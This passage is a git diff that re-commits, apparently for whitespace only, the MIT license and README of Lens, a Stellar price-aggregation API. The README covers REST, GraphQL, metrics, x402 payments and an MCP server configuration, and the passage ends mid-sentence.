+1,21 @@ -MIT License - -Copyright (c) 2026 Lens contributors - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. +MIT License + +Copyright (c) 2026 Lens contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index 4083957a..c36cb487 100644 --- a/README.md +++ b/README.md @@ -1,949 +1,949 @@ -# Lens — Unified Stellar Price API - -[![CI](https://github.com/Miracle656/Lens/actions/workflows/ci.yml/badge.svg)](https://github.com/Miracle656/Lens/actions/workflows/ci.yml) -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![Stellar](https://img.shields.io/badge/Stellar-SDEX%20%2B%20AMM-black)](https://stellar.org) -[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](CONTRIBUTING.md) - -## Quickstart - -### REST - -```bash -curl http://localhost:3002/status -# { -# "ok": true, -# "network": "testnet", -# "watchedPairs": ["XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN"], -# "lastIndexedLedger": 53842917, // illustrative — actual value depends on when /status is queried -# "lastProcessedAt": "2026-05-07T18:45:11.220Z", // illustrative — actual value depends on when /status is queried -# "ingestLagSeconds": 4 // illustrative — actual value depends on when /status is queried -# } -# -# /status answers for one network — pass ?network=mainnet (or the -# x-network header) to check the mainnet indexer instead. ingestLagSeconds is -# null until that network has ingested, and lastIndexedLedger is null until -# its SDEX ingester has recorded a trade. -``` - -### GraphQL - -```bash -curl -X POST http://localhost:3002/graphql \ - -H "Content-Type: application/json" \ - -d '{"query":"{ getPrice(assetA:\"XLM\", assetB:\"USDC\") { price assetA assetB pairKey bestRoute lastUpdated } }"}' -# { -# "data": { -# "getPrice": { -# "price": 0.1245, -# "assetA": "XLM", -# "assetB": "USDC", -# "pairKey": "XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN", -# "bestRoute": "amm", -# "lastUpdated": "2026-05-07T18:46:02.114Z" -# } -# } -# } -``` - -### MCP - -```bash -# By default the MCP server speaks over stdin and stdout and listens on no -# port; MCP_TRANSPORT=http serves Streamable HTTP on MCP_HTTP_PORT instead -# (see "MCP server" below). Port 3002 is the HTTP API, which knows nothing -# about MCP either way. -npm run mcp:server - -# To drive it interactively, point the inspector at that command: -npx @modelcontextprotocol/inspector npm run mcp:server -# Tools and the keys it needs: examples/mcp-server/README.md -# [ -# { -# "name": "bazaar_search", -# "description": "Search for resources in a Stellar Bazaar node" -# }, -# { -# "name": "paid_call", -# "description": "Make a paid API call to a Bazaar resource" -# } -# ] -``` - -**What Horizon doesn't do:** Horizon's `/trade_aggregations` only covers SDEX. AMM pool prices (derived from reserve ratios) are not aggregated anywhere. Lens fills this gap. - -## Endpoints - -### REST -| Method | Path | Description | -|---|---|---| -| GET | `/price/:assetA/:assetB` | Current VWAP, 24h volume, best route | -| GET | `/price/:assetA/:assetB/route?amount=1000` | Best execution route for a given amount | -| GET | `/price/:assetA/:assetB/depth?amount=1000` | Simulated order-book depth and execution slippage | -| GET | `/impact/:assetA/:assetB?thresholds=1,5,10` | Adaptive slippage ladder and threshold crossing sizes | -| GET | `/book/:assetA/:assetB?depth=0.1&step=0.01&network=testnet` | Aggregated SDEX book and synthetic AMM price ladder with cumulative size and venue provenance | -| GET | `/price/:assetA/:assetB/history?window=1h` | OHLCV history (`1m`, `5m`, `1h`, `24h`) | -| GET | `/price/twap/:assetA/:assetB?window=60&sampleInterval=60&method=iqr` | Manipulation-resistant time-weighted average price | -| GET | `/price/vwap/:assetA/:assetB?window=60&source=SDEX&method=iqr` | Volume-weighted average price | -| GET | `/candles/:assetA/:assetB?interval=1h&from=…&to=…` | OHLCV candles (`1m`, `5m`, `15m`, `1h`, `4h`, `1d`) | -| GET | `/prices/history?pair=XLM/USDC&from=…&to=…&interval=1m` | Historical 1-minute price snapshots, optionally aggregated (`1m`, `5m`, `1h`); honours `?network=`; `?format=csv` serves the points as `text/csv` (`ts,price,volume`); ~30-day retention | -| GET | `/pools` | Active AMM pools being watched | -| GET | `/pairs` | Watched trading pairs | -| GET | `/volumes/:asset?window=24h&network=testnet` | Cross-venue volume and trade-size concentration (`24h`, `7d`, `30d`) with per-venue breakdown | -| GET | `/spreads/:asset?window=5m` | Per-venue bid/ask spread, tightest first (`5m`, `15m`, `1h`, `24h`) | -| GET | `/compare/:asset` | Lens vs configured oracle prices, with per-oracle deviation and availability | -| GET | `/screener?sortBy=volume&order=desc&limit=20` | Screen pairs by volume, 24h change, liquidity and price | -| GET | `/benchmark/:asset?target=USD` | Peg-deviation statistics versus a target | -| GET | `/basket?asset=XLM&asset=USDC&weight=0.6&weight=0.4` | Weighted price of a basket of assets | -| GET | `/status` | Indexer health | -| GET | `/snapshot?network=testnet\|mainnet` | Whole-network snapshot: venues, TVL, 24h volume, top pairs, peg readings and data freshness in one cached, timestamped object | -| GET | `/live` | Liveness probe — no dependency checks (see [`docs/health.md`](docs/health.md)) | -| GET | `/ready` | Readiness probe — boot complete + dependencies reachable | -| GET | `/discovery/resources?type=&payTo=&network=&extensions=&limit=&offset=` | Bazaar catalog of x402-discoverable resources (spec: [`bazaar`](https://github.com/x402-foundation/x402/blob/main/specs/extensions/bazaar.md)) | -| GET | `/usage/me` | Usage and quota for the calling API key (requires `Authorization: Bearer `) | -| GET | `/supported` | Payment kinds and extensions this facilitator supports | -| POST | `/verify` | Verify an x402 payment payload | -| POST | `/settle` | Settle an x402 payment (idempotent — retries replay the stored result) | -| POST | `/webhooks` | Subscribe to a price-threshold webhook | -| DELETE | `/webhooks/:id` | Delete a webhook subscription | -| GET | `/admin/webhook-delivery-failures?limit=25` | Recent permanent webhook failures (requires `X-Admin-Token`) | -| GET/POST | `/graphql` | GraphQL query/mutation endpoint (GraphiQL IDE at `/graphiql`, docs: [`docs/graphql.md`](docs/graphql.md)) | - -Every non-internal route above has a matching entry in [`openapi.yaml`](openapi.yaml); -`tests/openapi.test.ts` boots the server and fails if a registered route is -missing from the spec. Operator-only and non-HTTP routes (`/admin/keys*`, -`/admin/usage*`, `/admin/webhook-delivery-failures`, `/metrics`, `/ws`, `/graphiql*`) are deliberately excluded via -the commented allow-list in [`src/openapi/coverage.ts`](src/openapi/coverage.ts). -In addition, live service responses are verified against their published schemas on a daily schedule (`05:00 UTC`) via `npm run spec:validate-live` — see [docs/live-spec-validation.md](docs/live-spec-validation.md). - -The `?network=testnet\|mainnet` query param (or `x-network` header) selects the -Stellar network. It is validated on every request — an unrecognised value gets a -`400` — and defaults to this instance's `STELLAR_NETWORK`. Only the routes whose -spec entry declares a `network` parameter answer for the selected network; the -ones listed below still read a single instance-wide network. - -Per-request today: `/price/:assetA/:assetB` (its VWAP, OHLCV, AMM and -best-route reads), `/price/:assetA/:assetB/route`, `/price/:assetA/:assetB/depth`, `/book/:assetA/:assetB`, -`/prices/history`, `/screener`, `/pools`, `/pairs`, `/spreads/:asset`, -`/volumes/:asset`, `/status`, and the x402 payment `network`/`payTo`. That list -is the same one `openapi.yaml` declares a `network` parameter on — if they ever -disagree, the spec is the thing to fix. - -`GET /volumes/:asset` also reports the trade count, median trade size, largest -trade's volume share, and `volumeConcentration`. Concentration is the HHI: the -sum of squared individual trade volume shares (0 to 1; 1 means one trade -accounted for all volume). The `provenance` object gives the venues and -positive-volume sample count used and the total observed sample count -(including zero-volume rows), plus the latest trade time and its age at the -response's `endTime`. -When the window has no trades, or its samples have no positive volume, derived -size and concentration metrics are `null` and `status` explains why. - -Still reading across both networks, and ignoring the parameter: -`/candles/:assetA/:assetB`, `/price/twap/*`, and `/price/vwap/*`. - -### API key authentication errors - -API-key authentication failures return HTTP 401 with a machine-readable `code`: - -| Code | Meaning | -|---|---| -| `missing` | No Authorization header was supplied. | -| `malformed` | The Authorization header is not a valid Bearer header. | -| `unknown` | The key was not recognized; never-issued and unknown keys have the same response. | -| `revoked` | The recognized key has been revoked. | -| `expired` | The recognized key has passed its expiry time. | - -Unknown keys always receive the same response, regardless of whether the key -ever existed. Admin-token failures use `admin_unauthorized`. - -Admin key creation accepts an optional future ISO date-time in `expiresAt`. -Omitting it creates a key without an expiry. - -```bash -curl "https://api.example.com/price/XLM/USDC?network=mainnet" -``` - -### Data Quality Guarantees -For formal guarantees on pricing freshness (including the 300s staleness threshold), completeness (venue diversity and outlier filtering), precision (PostgreSQL Decimal(36,18) and negotiated decimal strings), venue inclusion across SDEX and AMMs, and deterministic violation semantics, see [`docs/data-quality.md`](docs/data-quality.md). - -### GraphQL -Available at `/graphql` with GraphiQL IDE at `/graphiql`. Real-time price -streaming is available via the `priceUpdated` [subscription](#graphql-subscriptions-live-prices). - -For complete GraphQL schema documentation, all queries with runnable `curl` examples, WebSocket `graphql-transport-ws` handshake specifications, and an explicit comparison against the REST surface, see [`docs/graphql.md`](docs/graphql.md). - -```graphql -query { - getPrice(assetA: "XLM", assetB: "USDC") { - price - bestRoute - vwap1h - volume24h - priceChange24h - } - getBestRoute(assetA: "XLM", assetB: "USDC", amount: 500) { - route - sdexPrice - ammPrice - estimatedOutput - slippagePct - recommendation - } -} -``` - -#### Schema Definition & SDL Artifact -The GraphQL schema is exported as a canonical Schema Definition Language (SDL) artifact committed at [`schema.graphql`](schema.graphql). - -- **Location**: [`schema.graphql`](schema.graphql) -- **Regenerate / Refresh**: - ```bash - npm run graphql:schema:gen - ``` -- **Drift Guard & Validation**: CI runs `src/__tests__/graphqlSchemaDrift.test.ts` to assert that `schema.graphql` matches the code-defined schema in `src/api/graphql.ts`, guarantees deterministic output, validates SDL syntax for client generators, and detects breaking schema changes. - - -## Observability - -Prometheus metrics are exposed on `GET /metrics` (public, no API key required). -The MCP server is a separate process with its own `GET /metrics` on its own -port, and that one does require its bearer token — see -[MCP server](#mcp-server). - -Alongside the ingestion and database metrics, Lens exports HTTP request, -latency, authentication and rate-limit signals: - -| Metric | Type | Labels | -|---|---|---| -| `http_requests_total` | Counter | `method`, `route`, `status_class` | -| `http_request_duration_seconds` | Histogram | `method`, `route` | -| `api_key_auth_failures_total` | Counter | `reason` | -| `admin_auth_failures_total` | Counter | — | -| `rate_limit_rejections_total` | Counter | `scope` | -| `global_shed_requests_total` | Counter | — | - -`route` is the matched route **template** (`/price/:assetA/:assetB`), never the -resolved URL, so the number of time series stays bounded no matter how many -distinct assets are queried. `status_class` is `2xx`/`4xx`/`5xx` rather than the -exact code, for the same reason. - -```promql -# Request rate -sum(rate(http_requests_total[5m])) by (route) - -# Error rate -sum(rate(http_requests_total{status_class="5xx"}[5m])) - / sum(rate(http_requests_total[5m])) - -# p95 latency -histogram_quantile(0.95, - sum(rate(http_request_duration_seconds_bucket[5m])) by (le)) -``` - -See [`docs/http-metrics.md`](docs/http-metrics.md) for the full label reference, -the bucket rationale and suggested alerting rules. - -The websocket stream carries its own signals — `ws_clients_total`, -`ws_messages_sent_total`, `ws_messages_dropped_total`, `ws_clients_dropped_total` -and `ws_buffered_bytes` — which exist to make slow subscribers visible instead -of silent. See [`docs/websocket-backpressure.md`](docs/websocket-backpressure.md). - -The ingestion metrics are labelled by `network` as well, so a dual-network -deployment reports each network separately: - -| Metric | Type | Labels | -|---|---|---| -| `trades_ingested_total` | Counter | `pair`, `network` | -| `amm_snapshots_total` | Counter | `pool`, `network` | -| `price_snapshots_total` | Counter | `network` | -| `last_trade_timestamp` | Gauge | `pair`, `network` | - -`last_trade_timestamp` is a gauge, so without the `network` label one network's -ingester overwrites the other's value for the same pair — which would make the -staleness signal silently unusable. See -[`docs/ingest-metrics.md`](docs/ingest-metrics.md) for the cardinality notes -(`pairs x networks`) and a staleness alert. - -### Database Connection Pool & Shared Architecture - -> **Important architectural note**: The ingester loops (SDEX, AMM, Soroswap, Snapshot, Aquarius), background workers (retention, partitions), and the HTTP/GraphQL API handlers **run in a single process and share one connection pool**. - -Because deployments often scale across multiple instances, total database connections against Postgres equal: -$$\text{Total Connections} = \text{Instances} \times \text{DB\_POOL\_SIZE} + \text{Superuser/Admin Headroom}$$ - -Configure `DB_POOL_SIZE` and `DB_POOL_TIMEOUT_MS` appropriately so the aggregate across all running instances stays safely beneath PostgreSQL's `max_connections` (typically 100). - -Pool utilisation and exhaustion metrics are exposed on `GET /metrics`: -- `db_pool_connections_in_use`: Number of active connections checked out. -- `db_pool_connections_idle`: Number of idle connections ready in pool. -- `db_pool_connections_waiting`: Requests queued waiting for an available connection. -- `db_pool_exhaustion_errors_total`: Counter incremented whenever connection acquisition times out. Requests encountering pool exhaustion fail with an explicit `503 Service Unavailable` (`DB_POOL_EXHAUSTED`) rather than generic latency or unhandled timeouts. - -### GraphQL Subscriptions (live prices) - -Lens exposes a `priceUpdated(pair)` subscription that pushes a message every time -an ingester (SDEX, Horizon AMM, or Soroswap) records a new price for the pair. -It runs over the same `/graphql` endpoint using the `graphql-transport-ws` -protocol, so any [`graphql-ws`](https://github.com/enisdenjo/graphql-ws) client works. - -```graphql -subscription { - priceUpdated(pair: "XLM/USDC", network: "mainnet") { - pair - price - ts - network - } -} -``` - -```bash -npm install graphql-ws ws -``` - -```typescript -import { createClient } from "graphql-ws"; -import WebSocket from "ws"; // browsers already have WebSocket globally - -const client = createClient({ - url: "ws://localhost:3002/graphql", - webSocketImpl: WebSocket, // omit in the browser -}); - -// `subscribe` returns an unsubscribe function — call it to close the channel. -const unsubscribe = client.subscribe( - { - query: `subscription ($pair: String!, $network: String) { - priceUpdated(pair: $pair, network: $network) { pair price ts network } - }`, - variables: { pair: "XLM/USDC", network: "mainnet" }, - }, - { - next: ({ data }) => console.log("price:", data.priceUpdated), - error: (err) => console.error("subscription error:", err), - complete: () => console.log("subscription closed"), - }, -); - -// Later — stop receiving updates and close the socket cleanly: -// unsubscribe(); -``` - -> **`network` is optional but you almost always want it.** Since #117 every -> enabled network runs its own ingester loop and they all publish to the same -> stream, so omitting it interleaves testnet and mainnet prices for the same -> pair. Every message carries its own `network` field, so an omitted argument -> is safe *if* you read that field — and misleading if you do not. - -> **Note:** the `pair` argument is the canonical `pairKey` (alphabetically -> sorted, e.g. `USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN/XLM`). Use the `listPairs` query to discover -> the exact keys being indexed. Only the pair you subscribe to is delivered; -> updates for other pairs are filtered out server-side. For full protocol handshake details and a raw WebSocket implementation, see [`docs/graphql.md`](docs/graphql.md#live-price-subscriptions-graphql-transport-ws). - -## MCP server - -`npm run mcp:server` starts the Bazaar MCP server ([src/mcp/server.ts](src/mcp/server.ts), wired up in [examples/mcp-server/run.ts](examples/mcp-server/run.ts)). It advertises: - -| Tool | What it does | Spends? | -| --- | --- | --- | -| `bazaar_search` | Reads a Bazaar base URL's `/discovery/resources` or `/discovery/search?q=` and lists what is available. | No | -| `paid_call` | Fetches an x402-gated URL and handles the `402 → sign → retry` loop. | **Yes — it signs with a real Stellar key** | -| `payment_budget` | Reports the configured limits and what is left of today's budget. | No | -| `lens_get_price` | Reads Lens's own aggregated price for a watched pair. | No | - -`payment_budget` appears whenever a spend budget is configured, which the example always sets, and `lens_get_price` only where the server can reach Lens's own price data. Every one of them is served over **either** transport, and the tool list, schemas and error codes are identical whichever you pick. Which transport runs is selected by configuration; **stdio is the default**, so an existing setup needs no changes. - -**⚠️ Warning:** the mainnet key signs with real XLM. Read the configuration, -spending warning, and worked example before running. - -The server signs with a real Stellar key, so it needs `MCP_AGENT_SECRET_KEY_TESTNET` -and `MCP_AGENT_SECRET_KEY_MAINNET` in the environment — keep them in `.env` -(`run.ts` loads it with `dotenv`) rather than in a shell history line or a -client config file that gets shared. Never commit them. Optional spend -controls: `MCP_MAX_PAYMENT_PRICE` (per call, default `$1.00`), -`MCP_DAILY_SPEND_CEILING` (default `$10.00`) and `MCP_SPEND_STATE_FILE` — the -running total survives a restart, because a restart does not refund what the -previous process spent. - -Full documentation: [examples/mcp-server/README.md](examples/mcp-server/README.md) - -### stdio (default) - -For a client that spawns the server itself as a child process — Claude -Desktop, Cursor, or the runnable [agent example](examples/mcp-server/agent.ts) -(`npm run mcp:agent`, which prints discovery and a paid call end to end). - -```bash -npm run mcp:server # reads MCP_TRANSPORT=stdio, talks JSON-RPC on stdin/stdout -``` - -Point a client at the command — the keys come from `.env`, so nothing secret -has to be written into client config. This is the same invocation -[agent.ts](examples/mcp-server/agent.ts) uses: - -```json -{ - "mcpServers": { - "lens-bazaar": { - "command": "npx", - "args": ["tsx", "examples/mcp-server/run.ts"] - } - } -} -``` - -Because the process is spawned by the client, there is no port, no token and -no remote attack surface: whoever can spawn it can spend, so keep it to -your own machine. - -### Streamable HTTP - -For a client that connects over the network instead of spawning a process — -a hosted agent, a shared dev box, a container. Set `MCP_TRANSPORT=http`: - -```bash -# MCP_AGENT_SECRET_KEY_TESTNET / MCP_AGENT_SECRET_KEY_MAINNET live in .env -export MCP_TRANSPORT=http -export MCP_HTTP_AUTH_TOKEN="$(openssl rand -hex 32)" # required, see below -export MCP_HTTP_HOST=127.0.0.1 # default -export MCP_HTTP_PORT=3003 # default -export MCP_HTTP_PATH=/mcp # default -npm run mcp:server -# [mcp-server] Listening at http://127.0.0.1:3003/mcp -``` - -**Authentication is mandatory and fails closed.** Without a non-empty -`MCP_HTTP_AUTH_TOKEN` the process exits before it builds a signer, so an -unauthenticated remote server with `paid_call` on its tool list can never come -up. Every request must then carry it as a bearer token; anything else gets a -JSON-RPC error with `ERR_UNAUTHORIZED` and is rejected before the payment path -is reached: - -```bash -curl -sS -X POST http://127.0.0.1:3003/mcp \ - -H "Authorization: Bearer $MCP_HTTP_AUTH_TOKEN" \ - -H "Content-Type: application/json" \ - -H "Accept: application/json, text/event-stream" \ - -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}' -``` - -A client connects the same way: - -```ts -import { Client } from '@modelcontextprotocol/sdk/client/index.js'; -import { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js'; - -const transport = new StreamableHTTPClientTransport(new URL('http://127.0.0.1:3003/mcp'), { - requestInit: { headers: { authorization: `Bearer ${process.env.MCP_HTTP_AUTH_TOKEN}` } }, -}); - -const client = new Client({ name: 'lens-agent', version: '1.0.0' }, { capabilities: {} }); -await client.connect(transport); -``` - -Notes for this transport: - -- It binds `127.0.0.1` unless you set `MCP_HTTP_HOST` deliberately. Do not - expose it on a routable address over plain HTTP: the bearer token and every - paid result cross the wire, so terminate TLS in a reverse proxy and forward - to loopback. -- The token is a credential — the bearer who holds it can spend. Keep it out - of URLs, logs, and shell history; rotate it if it leaks. -- Requests are stateless: no `Mcp-Session-Id` is issued and each `POST` is - served by a fresh transport, so a client cannot hold a session open across - requests. Every MCP message must be a `POST` (`GET` returns `405`, which - spec-compliant clients treat as "no server-initiated stream"). Bodies are - capped at 1 MiB. -- The daily spend ceiling is shared across everything this process serves, so - one HTTP client cannot spend past a budget another one already used up. - -#### Payment spend metrics - -What the agent spent is scrapeable from the same listener, at `GET /metrics`, -guarded by the same bearer token — it is operator data about a key that moves -money, so there is no anonymous scrape: - -```bash -curl -sS http://127.0.0.1:3003/metrics \ - -H "Authorization: Bearer $MCP_HTTP_AUTH_TOKEN" -``` - -| Metric | Type | Labels | -| --- | --- | --- | -| `mcp_payment_attempts_total` | Counter | `host`, `network`, `outcome` | -| `mcp_payment_amount_usd_total` | Counter | `host`, `network` | -| `mcp_payment_unquantified_total` | Counter | `host`, `network` | - -A refused payment is an attempt (`outcome="failure"`) and adds nothing to -`mcp_payment_amount_usd_total`. `host` may only be a value from -`MCP_METRIC_HOSTS` and `network` only one from `MCP_METRIC_NETWORKS` (default -`stellar:testnet,stellar:pubnet` — the networks this server signs for): -Prometheus series are permanent, so anything outside an allow-list is reported -as `unknown` instead of letting one caller mint a time series per URL an agent -tries. Amounts that are not a USD money string cannot join the USD sum, so they -are counted in `mcp_payment_unquantified_total` rather than dropped silently. -Per-payment detail — full URL, transaction hash, asset, error code — is in the -`MCP_PAYMENT_LEDGER_FILE` audit trail, which keeps the real host whatever the -allow-list says. - -`MCP_HTTP_PATH` cannot be `/metrics`; the process exits at boot rather than -answering MCP and Prometheus on one path. Under **stdio** there is no listener -to scrape, so read the running total from the `payment_budget` tool or the -audit file. - -### WebSocket backpressure - -`/ws` counts a message as sent only once the socket reports the write completed, -and bounds what a client that stops reading can cost: past 256 KiB of queued -bytes updates are coalesced to the newest one, past 1 MiB — or congested for 30s -— the client is closed with `1013` and counted. A truncated feed is visible in -`ws_messages_dropped_total` rather than silent, and one slow client cannot affect -any other. See [`docs/websocket-backpressure.md`](docs/websocket-backpressure.md). - -## Usage Examples - -Lens gates `/price`, `/pools`, and `/candles` behind x402 micropayments on Stellar (testnet by default). The `/status` endpoint is free. - -### 1. Free health check & status monitoring (`/status`) - -`/status` provides a structured, comprehensive health contract separating **process health** (runtime container, memory, uptime) from **data health** (ingestion currency, last ledger, ingest lag). - -```bash -curl http://localhost:3002/status -``` - -```json -{ - "ok": true, - "status": "healthy", - "network": "testnet", - "health": { - "process": "healthy", - "data": "healthy" - }, - "process": { - "uptimeSeconds": 86420, - "memoryUsageMb": 18.42, - "status": "healthy" - }, - "data": { - "lastIndexedLedger": 53842917, - "lastProcessedAt": "2026-05-07T18:45:11.220Z", - "ingestLagSeconds": 4, - "isStale": false - }, - "watchedPairs": ["XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN"], - "lastIndexedLedger": 53842917, - "lastProcessedAt": "2026-05-07T18:45:11.220Z", - "ingestLagSeconds": 4 -} -``` - -#### Health Differentiation & Paging Conditions -- **Process Health vs Data Health:** The HTTP status code distinguishes service availability from data staleness. - - `HTTP 200 OK` (`status: "healthy"`): Both process runtime and data feeds are functioning normally. - - `HTTP 200 OK` (`status: "degraded"`, `health.data: "stale"`): The API server is healthy and responding, but ingestion lag exceeds 300 seconds. **Do not page engineers for intermittent upstream ledger delays.** - - `HTTP 200 OK` (`status: "degraded"`, `health.process: "degraded"`): the port answers but boot has not finished, so not every ingester is running yet. Normal for the first seconds of a deploy — gate rollouts on `/ready`, which stays 503 until boot completes, rather than paging on this. - - `HTTP 503 Service Unavailable` (`pagingCondition: "DATABASE_DOWN"`): Critical infrastructure failure (e.g. Postgres is down or unreachable). **Uptime monitors should page on HTTP 503.** The body carries `error: "Database unavailable"` and nothing more — `/status` is public, so the driver's own message (which can contain the host, the user and the connection string) goes to the server log only. - -#### Monitoring Configuration Example (Datadog / Prometheus / BetterStack) -Configure your synthetic monitor / HTTP probe: -```yaml -# Prometheus Blackbox / Uptime monitor probe example -probe: - target: "http://lens-api.internal:3002/status?network=mainnet" - method: "GET" - expect_status: 200 - alert_conditions: - - severity: critical # Page on-call - condition: "status_code == 503 || body.pagingCondition == 'DATABASE_DOWN'" - - severity: warning # Slack notification only - condition: "body.health.data == 'stale' || body.data.ingestLagSeconds > 300" -``` - -### 2. Paid request without `X-PAYMENT` → `402` with payment requirements - -```bash -curl -i http://localhost:3002/price/XLM/USDC -# HTTP/1.1 402 Payment Required -# content-type: application/json -# -# { -# "x402Version": 1, -# "accepts": [ -# { -# "scheme": "exact", -# "price": "$0.10", -# "network": "stellar:testnet", -# "payTo": "G...your-oracle-address..." -# } -# ], -# "error": "Payment required", -# "description": "Unified SDEX+AMM price with VWAP and best route" -# } -``` - -The `accepts[]` array lists every payment requirement the server will honor. Sign one of them, encode as JSON, base64-encode, and resend with the `X-PAYMENT` header. - -### 3. Paid request with `X-PAYMENT` → `200` with price data - -```bash -# X-PAYMENT is base64(JSON(signed payment payload — see @x402/stellar)) -curl -H "X-PAYMENT: $(cat payment.b64)" \ - http://localhost:3002/price/XLM/USDC -# { -# "assetA": "XLM", -# "assetB": "USDC", -# "pairKey": "XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN", -# "vwap1m": "0.12450000", -# "vwap1h": "0.12410000", -# "volume24h": "1284390.5500", -# "priceChange24h": "0.32", -# "bestRoute": "amm", -# "lastUpdated": "2026-05-07T18:46:02.114Z" -# } -``` - -### 4. Node.js — automatic payment with `@x402/fetch` + `@x402/stellar` - -`@x402/fetch` wraps the native `fetch` so a `402` is intercepted, signed, and retried automatically — your application code looks like a normal request. - -```bash -npm install @x402/fetch @x402/stellar -``` - -```typescript -import { wrapFetchWithPaymentFromConfig } from "@x402/fetch"; -import { ExactStellarScheme } from "@x402/stellar/exact/client"; -import { createEd25519Signer } from "@x402/stellar"; - -// 1. Sign with a Stellar testnet secret (S...). Fund via friendbot first. -const signer = createEd25519Signer( - process.env.STELLAR_SECRET!, // e.g. "SBN...FUNDED..." - "stellar:testnet", -); - -// 2. Wrap fetch — `stellar:*` matches both pubnet and testnet. -const fetchWithPayment = wrapFetchWithPaymentFromConfig(fetch, { - schemes: [ - { - network: "stellar:*", - client: new ExactStellarScheme(signer), - }, - ], -}); - -// 3. Call the gated endpoint. The 402 → sign → 200 dance is automatic. -const res = await fetchWithPayment("http://localhost:3002/price/XLM/USDC"); -const data = await res.json(); -console.log(`XLM/USDC VWAP-1h: ${data.vwap1h}`); -``` - -> **Mainnet:** swap `STELLAR_NETWORK=mainnet` on the server, point the -> client at `stellar:pubnet`, and supply a custom Soroban RPC URL via -> `new ExactStellarScheme(signer, { url: "https://your-rpc..." })`. -> Stellar payments use *ledger-based* expiration (~12 ledgers ≈ 60s), -> not timestamps. - -### 5. GraphQL price query - -```bash -curl -X POST http://localhost:3002/graphql \ - -H "Content-Type: application/json" \ - -d '{"query":"{ getPrice(assetA:\"XLM\", assetB:\"USDC\") { price vwap1h volume24h priceChange24h } }"}' -``` - -Or interactively at [http://localhost:3002/graphiql](http://localhost:3002/graphiql). - -> **Note:** the current `GATED_ROUTES` map in [`src/middleware/x402.ts`](src/middleware/x402.ts) gates `/price`, `/pools`, and `/candles` only — `/graphql` is not gated. If you intend price data from GraphQL to require the same payment as REST, extend `GATED_ROUTES` (or add a per-resolver guard). - -## TypeScript Client - -A typed TypeScript client is generated from [`openapi.yaml`](openapi.yaml) with -[`openapi-typescript`](https://github.com/openapi-ts/openapi-typescript) and -[`openapi-fetch`](https://github.com/openapi-ts/openapi-typescript/tree/main/packages/openapi-fetch). -It is committed at [`clients/typescript`](clients/typescript) — **no type is -hand-written**, so a change to the spec is a change to the client. - -```bash -# Regenerate clients/typescript/src/schema.d.ts from the spec -npm run client:gen - -# Type-check the generated client -npm run client:typecheck -``` - -CI runs `npm run client:gen` and fails if the committed client differs from the -regenerated output, so the client can never drift from `openapi.yaml`. - -```typescript -import { createLensClient } from "./clients/typescript/src/index.js"; - -const client = createLensClient({ baseUrl: "http://localhost:3002" }); - -const { data, error } = await client.GET("/price/{assetA}/{assetB}", { - params: { path: { assetA: "XLM", assetB: "USDC" } }, -}); -if (error) throw new Error(`request failed: ${error}`); - -// `data` is `AggregatedPrice`, derived from the spec. -console.log(`XLM/USDC vwap1h: ${data?.vwap1h}`); -``` - -A runnable version lives in -[`clients/typescript/src/example.ts`](clients/typescript/src/example.ts); run it -against a local server with `npx tsx clients/typescript/src/example.ts`. - -## Documentation -Detailed system design and data flow diagrams can be found in the [Architecture Overview](docs/architecture.md). -Lens also *publishes* prices: [`docs/sep40-oracle-publisher.md`](docs/sep40-oracle-publisher.md) covers the SEP-40 contract in `oracle/contract/`, the deviation-and-interval publication policy in `src/publish/`, deployment, and key handling. -The API specification is available in [OpenAPI 3.0 format](openapi.yaml) and is auto-published to GitHub Pages at https://miracle656.github.io/lens/openapi.json. - -Operators: start with the [Operations runbook](docs/RUNBOOK.md) — what runs, how each external dependency degrades, how to check ingestion health via `/status` and `/metrics`, the known failure modes with their symptoms, and deploy/rollback procedures. - -Operational docs: [HTTP metrics](docs/http-metrics.md), [ingest metrics](docs/ingest-metrics.md), [websocket 